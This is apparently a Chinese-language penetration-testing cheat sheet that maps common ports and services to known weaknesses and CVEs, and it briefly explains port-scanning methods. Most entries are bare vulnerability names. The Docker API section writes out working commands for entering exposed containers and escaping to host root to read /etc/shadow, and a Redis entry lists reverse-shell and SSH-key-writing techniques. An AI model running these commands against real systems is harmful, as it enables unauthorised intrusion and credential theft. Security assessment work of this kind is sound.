常见端口以及脆弱点
FTP(21/tcp)
- 弱口令
- 默认用户 anonymous:anonymous
- VSFTP某版本后门
SSH(22/TCP)
- 部分版本SSH存在漏洞可枚举用户名
- 弱口令
- 28退格漏洞
- OpenSSL漏洞
- 用户名枚举
telnet(23/TCP)
- 暴力破解密码
- 嗅探抓取明文密码
SMTP(25/TCP)
- 弱口令
- 未经授权访问
- 邮件伪造
DNS(53/UDP)
-
域传送漏洞
-
DNS劫持
-
DNS缓存投毒
-
DNS欺骗
-
SPF / DMARC Check
-
DDoS
-
- DNS Query Flood
- DNS 反弹
-
DNS 隧道
DHCP(67/68/546/547TCP)
ps (546/7是IPV6协议的)
- DHCP劫持
- DHCP欺骗
TFTP(69)
WEB服务(80-89,443,8440-8450,8080-8089/TCP)
IIS(80/443/tcp)
- IIS PUT写文件
- IIS短文件名泄露
- IIS解析漏洞
Apache(80/443/tcp)
- Apache Manager后台弱口令
- Apache解析漏洞
- Apache慢速攻击(slow attack)
- CVE-2019-0211:Apache HTTP Server 组件提权
Kerberos (88/TCP)
- 主要用于监听KDC的票据请求
- 用于进行黄金票据和白银票据的伪造
POP3(110/995/TCP)
- 弱口令
- 未经授权访问
NFS(111/2049/TCP)
- 权限配置不当(rpcinfo信息泄露)
showmount <host>
RPC(135/TCP)
- wmic 服务利用
SMB(137/139/445/TCP)
- 爆破
- 远程执行类漏洞(ms17-010、ms08-06)
- 未授权
- 弱口令
net use \\192.168.1.1 /user:xxx\username password
NetBIOS(137/138/UDP)
- 未授权访问
- 弱口令
IMAP(143/993)
- 弱口令
- 任意文件读取
SNMP(163/TCP)
- Public 弱口令
LDAP(389)
- ldap注入
- 匿名访问
- 弱口令
- 用于域上的权限验证服务
OPENSSL(443/8443/TCP)
- 心脏滴血
kpasswd(464)
- Kerberos 口令和钥匙改换服务
Linux rexec (512/513/514)
- rlogin登陆
- 直接登录:Metasploitable2使用指南
RTSP(873/TCP)
rsync(873/tcp)
- 未授权访问
- 本地权限提升
rpc(1025/tcp)
- NFS匿名访问
Java RMI(1090/1099/TCP)
- 反序列化远程命令执行漏洞
OpenVPN(1352)
Lotus(1352)
- 弱口令
- 跨站脚本攻击
- 信息泄露
SQL Server(1433/TCP)
- 弱密码
- 差异备份 GetShell
- SA 提权
ISPmanager(1500)
- 弱口令
Oracle(1521/TCP)
- 弱密码
PPTP(1723)
- 爆破
cPanel(2082/2083)
- 弱口令
ZooKeeper(2181/2171/2375/TCP)
- 未授权访问
docker remote API(2375/2376/TCP)
- 入侵容器
- RCE获取物理机ROOT
1.入侵容器
curl -s http://192.168.1.7:2376/version | python -m json.tool
docker -H 47.244.125.242:2375 ps
docker -H 47.244.125.242:2375 exec -it "mysql" /bin/bash //执行容器bash
2.RCE获取物理机ROOT
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
以下是解释:
Easy RCE using Docker API on port 2375/tcp
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
File Access: cat /mnt/etc/shadow
RCE: chroot /mnt
来源推特:https://twitter.com/ptswarm/status/1338477426276511749
- Zebra(2601/2604/TCP)
- 默认密码zerbra
- Squid (3128)
- 弱口令
- MySQL(3306/TCP)
- 弱密码
- 日志写WebShell
- UDF提权
- MOF提权
kangle(3311/3312/TCP)
- 弱口令
RDP / Terminal Services(3389/TCP)
- 弱口令
- 远程命令执行( ms12-020、cve-2019-0708)
SVN(3690)
- svn泄露
- 未授权访问
GlassFish(4848/3700)
- 弱口令
- 任意文件读取
- 认证绕过
DB2(5000/TCP)
- 安全限制绕过进行未经授权操作-cve-2015-1922
Sybase(5000/4100/TCP)
- 弱口令
- 命令注入
postgresql(5432/tcp)
- 弱密码
- 执行系统命令
Pcanywhere(5632)
- 拒绝服务攻击
- 权限提升
- 代码执行
VNC(5900/5901/5902/TCP)
- 弱口令
- 认证口令绕过
- 拒绝服务攻击-CVE-2015-5239
- 权限提升-CVE-2013-6886
couchdb(5984/TCP)
- 弱密码
- 未授权
WinRM(5900/TCP)
- 弱密码
X11(6000)
- 未经授权访问-CVE-1999-0526
REDIS(6379/TCP)
-
未授权或弱密码
-
绝对路径写 WebShell
-
linux
-
- 计划任务反弹 Shell
- 写 SSH 公钥
- 主从复制 RCE
-
windows
-
- Windows 写启动项
Kubernetes API Server(6443/10250/TCP)
https://Kubernetes:10250/pods
weblogic(7001/TCP)
- 后台弱口令
- console后台部署war包
- JAVA反序列化
- 远程代码执行
- weblogic ssrf
- WebLogic 泄漏源代码与目录遍历
Kloxo(7778)
- 主机面板登录
JDWP(8000/TCP)
- 远程命令执行
Ajenti(8000)
- Ajenti(Linux 服务器管理 弱口令 面板)
AJP(8009/tcp)
- CVE-2020-1938 任意文件包含/读取漏洞
ActiveMQ(8061/8161/TCP)
- 后台弱密码漏洞
- 远程代码执行
Jetty(8080/tcp)
- 远程共享缓冲区溢出
- 敏感信息泄漏:CVE-2018-12536
Resin(8080)
- Resin 目录遍历
- Resin 远程文件读取
Jenkin/(8080/8089/TCP)
- 未授权访问
- 反序列化(JBOSS)
- 弱口令
- 远程代码执行
- 任意文件读取
JBOSS(1098/1099/4444/4445/8009/8080/8083/8093/TCP)
- 未授权访问
- 反序列化(JBOSS)
- 弱口令(可后台部署war包getshell)
- 远程代码执行
Confluence(8080/tcp)
- CVE-2019-3398(Confluence远程代码执行)
Plesk(8443)
- 弱口令
Zabbix(8069)
- 远程命令执行
- SQL注入
solr(8983)
- 远程命令执行
- CVE-2017-12629
- CVE-2019-0193
WebSphere(9080-9081/9090)
- Java反序列化
- 弱口令
- WebSpere任意文件泄漏:CVE-2014-0823
elasticsearch(9200/9300/TCP)
- 代码执行
- 未授权访问
- 任意文件读取
http://es.addr:9200/_plugin/head/
http://es.addr:9200/_nodes
memcache(11211/TCP)
- 未授权访问
RabbitMQ(15672/1569/25672/TCP)
MongoDB(27017/27018/TCP)
- 未授权访问
- 弱密码
Hadoop(50070/50030/50075)
- 未授权访问
ActiveMQ消息队列端口(61616)
- ActiveMQ反序列化漏洞(CVE-2015-5254)
除了以上列出的可能出现的问题,暴露在公网上的服务若不是最新版,都可能存在已经公开的漏洞
常见端口扫描技术
全扫描
扫描主机尝试使用三次握手与目标主机的某个端口建立正规的连接,若成功建立连接,则端口处于开放状态,反之处于关闭状态。
全扫描实现简单,且以较低的权限就可以进行该操作。但是在流量日志中会有大量明显的记录。
半扫描
在半扫描中,仅发送SYN数据段,如果应答为RST,则端口处于关闭状态,若应答为SYN/ACK,则端口处于监听状态。不过这种方式需要较高的权限,而且部分防火墙已经开始对这种扫描方式做处理。
FIN扫描
FIN扫描是向目标发送一个FIN数据包,如果是开放的端口,会返回RST数据包,关闭的端口则不会返回数据包,可以通过这种方式来判断端口是否打开。
这种方式并不在TCP三次握手的状态中,所以不会被记录,相对SYN扫描要更隐蔽一些。
Web服务
-
Jenkins
-
- 未授权访问
-
Gitlab
-
- 对应版本CVE
-
Zabbix
-
- 权限设置不当
批量搜索
- Censys
- Shodan
- FOFA
- ZoomEye
other
参考文章:readthedocs